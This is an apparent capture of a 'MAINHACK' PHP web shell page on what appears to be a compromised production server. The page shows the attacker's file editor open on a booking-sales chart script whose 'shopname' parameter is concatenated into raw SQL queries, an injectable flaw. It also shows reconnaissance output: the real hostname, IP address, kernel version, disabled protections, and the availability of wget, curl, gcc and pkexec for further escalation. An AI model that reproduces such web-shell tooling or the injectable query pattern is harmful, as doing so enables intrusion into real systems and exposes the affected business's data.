[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: getDailyChartData.php
<?php include("../admin/includes/functions/functions.php"); include("../admin/db/db.php"); header('Content-Type: application/json'); $startDate = $_GET['startDate']; $endDate = $_GET['endDate']; $shopname = $_GET['shopname']; // Database connections (assuming $con and $new are set up) $categories = []; $salesData = []; $discountData = []; $commissionData = []; $expensesData = []; $date = new DateTime($startDate); $end = new DateTime($endDate); $interval = new DateInterval('P1D'); $period = new DatePeriod($date, $interval, $end->modify('+1 day')); foreach ($period as $currentDate) { $currentDay = $currentDate->format('l'); $currentDateStr = $currentDate->format('Y-m-d'); $categories[] = $currentDay; // Sales $stmtServices = $con->prepare(" SELECT SUM(price) as amount FROM services s JOIN true_price sb ON s.service_id = sb.service_id JOIN appointments a ON sb.appointment_id = a.appointment_id WHERE a.canceled = '0' AND a.active = 'Yes' AND DAYNAME(a.created) = ? AND date(a.created) = ? AND a.business_name = ? "); $stmtServices->execute([$currentDay, $currentDateStr, $shopname]); $row = $stmtServices->fetch(); $salesData[] = floatval($row['amount'] ?? 0); // Discounts $disQuery = mysqli_query($new, " SELECT discount FROM appointments WHERE canceled = '0' AND active = 'Yes' AND DAYNAME(created) = '$currentDay' AND date(created) = '$currentDateStr' AND business_name = '$shopname' "); $discountPercent = mysqli_fetch_array($disQuery)['discount'] ?? 0; $discountAmount = ($discountPercent / 100) * ($row['amount'] ?? 0); $discountData[] = floatval($discountAmount); // Commissions $comQuery = mysqli_query($new, " SELECT comRate FROM appointments WHERE canceled = '0' AND active = 'Yes' AND DAYNAME(created) = '$currentDay' AND date(created) = '$currentDateStr' AND business_name = '$shopname' "); $commissionRate = mysqli_fetch_array($comQuery)['comRate'] ?? 0; $afterDiscount = ($row['amount'] ?? 0) - $discountAmount; $commissionAmount = ($commissionRate / 100) * $afterDiscount; $commissionData[] = floatval($commissionAmount); // Expenses $stmtExpenses = $con->prepare(" SELECT SUM(item_amount) as amount FROM expenses WHERE DAYNAME(date) = ? AND date(date) = ? "); $stmtExpenses->execute([$currentDay, $currentDateStr]); $expenseRow = $stmtExpenses->fetch(); $expensesData[] = floatval($expenseRow['amount'] ?? 0); } echo json_encode([ 'categories' => $categories, 'sales' => $salesData, 'discounts' => $discountData, 'commissions' => $commissionData, 'expenses' => $expensesData ]); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002